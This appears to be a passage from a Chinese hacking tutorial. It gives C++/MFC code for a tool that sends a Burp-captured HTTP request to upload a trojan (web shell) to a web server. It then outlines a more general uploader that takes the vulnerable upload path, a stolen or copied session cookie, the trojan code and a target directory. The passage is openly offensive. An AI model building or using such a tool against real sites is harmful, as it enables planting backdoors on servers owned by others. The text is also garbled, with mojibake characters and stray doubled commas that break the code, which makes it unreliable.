上傳木馬的模塊可以通過直接發(fā)包達到上傳的效果,,實現(xiàn)起來比較簡單,,代碼如下:
void CuploadmumaDlg::OnBnClickedButton1()
{
// TODO: 在此添加控件通知處理程序代碼
WSAData wsa = { 0 };
// 初始化
WSAStartup(MAKEWORD(2, 2),, &wsa);
// 獲取 IP 地址
DWORD dwIPAddr = 0;
m_IpAddr.GetAddress(dwIPAddr),;
// 獲取端口號
WORD dwPort = 0;
dwPort = GetDlgItemInt(IDC_PORT),;
// 創(chuàng)建 SOCKET
SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sockaddr = { 0 };
sockaddr.sin_family = AF_INET;
sockaddr.sin_addr.S_un.S_addr = htonl(dwIPAddr),;
sockaddr.sin_port = htons(dwPort),;
// 連接服務(wù)器
int nRet = connect(s, (SOCKADDR*)&sockaddr, sizeof(SOCKADDR));
// 獲取從 BURP 截取的 HTTP 的 request 包
char szText[2048] = { 0 };
GetDlgItemText(IDC_TEXT, szText, 2048),;
// 發(fā)送包
nRet = send(s, szText, lstrlen(szText),, 0);
closesocket(s),;
WSACleanup(),;
}
代碼的流程比較簡單,主要就是完成了與Web服務(wù)器的連接,,然后發(fā)送通過Burp截取的數(shù)據(jù)內(nèi)容,,程序界面如圖1所示。
圖1 發(fā)送木馬數(shù)據(jù)包上傳木馬
該木馬發(fā)送程序比較簡陋,,只是簡單地提交了對Web服務(wù)器請求的數(shù)據(jù)包,。開發(fā)一個較為通用的木馬上傳工具,就不能這么偷懶了,。首先,,需要提取出存在上傳漏洞的地址,因為每個系統(tǒng)存在上傳漏洞的地址是不相同的,,因此漏洞的地址必須能夠接收用戶的輸入,。接著提取HTTP請求頭部中的“Cookie”部分,因為上傳木馬時可能需要登錄系統(tǒng)以后才能進行上傳,,但是為什么發(fā)包的時候可以,,因為數(shù)據(jù)包中有COOKIE,因此必須要能讓用戶輸入“cookie”,,因為一般的上傳漏洞可能是論壇,、博客等系統(tǒng),因此用戶可以自行登錄后,,將cookie復(fù)制出來并粘貼到程序中,。然后還有木馬的內(nèi)容需要用戶自定義,那么程序界面上也需要留下輸入木馬的文本框,,可以直接輸入木馬的代碼,,也可以直接讓用戶輸入木馬的目錄,然后讓程序從文件中把木馬代碼讀出,。有的上傳漏洞能夠讓用戶去控制上傳木馬后所在的目錄,,那么還要給用戶一個可以設(shè)置上傳位置的輸入框。